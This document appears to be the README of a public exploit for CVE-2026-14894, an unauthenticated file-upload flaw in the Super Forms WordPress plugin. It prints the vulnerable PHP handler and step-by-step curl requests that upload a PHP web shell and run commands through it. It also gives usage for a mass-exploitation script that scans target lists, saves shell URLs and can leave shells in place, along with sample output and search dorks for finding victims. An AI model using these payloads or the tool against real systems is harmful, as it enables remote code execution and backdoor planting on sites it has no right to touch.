CVE-2026-14894

// Vulnerable: nopriv AJAX — no auth, no file type validation, no MIME check
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce');  // nonce for anyone
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form');   // upload for anyone

function super_submit_form() {
    $data = json_decode(stripslashes($_POST['data']), true);
    $file = $data['sf_upload_field']['files'][0];
    $content = base64_decode($file['datauristring']);  // no MIME validation
    $name = $file['value'];                             // no filename sanitization
    fwrite(fopen($upload_path . $name, 'w'), $content); // PHP written to disk
}

// Anyone can get a valid nonce — no authentication required
function super_create_nonce() {
    $nonce = md5(uniqid(rand(), true));
    $_SESSION['sf_nonce'] = $nonce;
    echo $nonce;  // returned to unauthenticated attacker
}

1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
   → Get valid nonce (no auth needed)

2. POST /wp-admin/admin-ajax.php?action=super_submit_form
   sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
     "datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
     "value":"shell.php"}]}}
   → Shell written to /wp-content/uploads/superforms/

3. GET /wp-content/uploads/superforms/shell.php?c=id
   → RCE confirmed

git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt

# Single target
python cve_2026_14894.py -t target.com

# Mass exploit
python cve_2026_14894.py -f targets.txt

# Mass exploit + save results
python cve_2026_14894.py -f targets.txt -o shells.txt

# Leave shells on target
python cve_2026_14894.py -t target.com --no-cleanup

# Debug mode (show every request)
python cve_2026_14894.py -t target.com --debug

  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save RCE results to file
  --threads         Concurrent workers (default: 30)
  --no-cleanup      Leave shells on target
  --debug           Show every HTTP request + stage in real-time
  -v, --verbose     Show detailed output

$ python cve_2026_14894.py -t target.com --debug

  Super Forms | CVE-2026-14894 | CVSS 9.8

  [target.com] [+] Super Forms detected v6.3.312
  [target.com] [*] Nonce obtained
  [target.com] [*] Uploading shell...
  [target.com] [!] RCE confirmed

  Host       : target.com
  SuperForms : YES v6.3.312
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
  Output     : uid=33(www-data) gid=33(www-data)
  Time       : 2.1s

  Targets: 2500  |  Threads: 30

  [RCE]    target-vuln-01.com                                 2.1s  v6.3.312
  [UP]     target-patched-02.com                              1.8s  v6.3.314 (upload blocked)
  [!]      target-no-plugin-03.com                            0.5s  not installed
  [150/2500] 6%  |  SuperForms:47  Upload:18  RCE:12

  ───────────────────────────────────────────────────────
  Done | 180s | Targets:2500 Det:47 Upload:18 RCE:12

curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_create_nonce'
# Returns 96-char hex nonce

NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)

curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=super_submit_form' \
  -d "sf_nonce=$NONCE" \
  -d 'form_id=1' \
  -d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'

curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'

body="wp-content/plugins/super-forms"

http.html:"super-forms"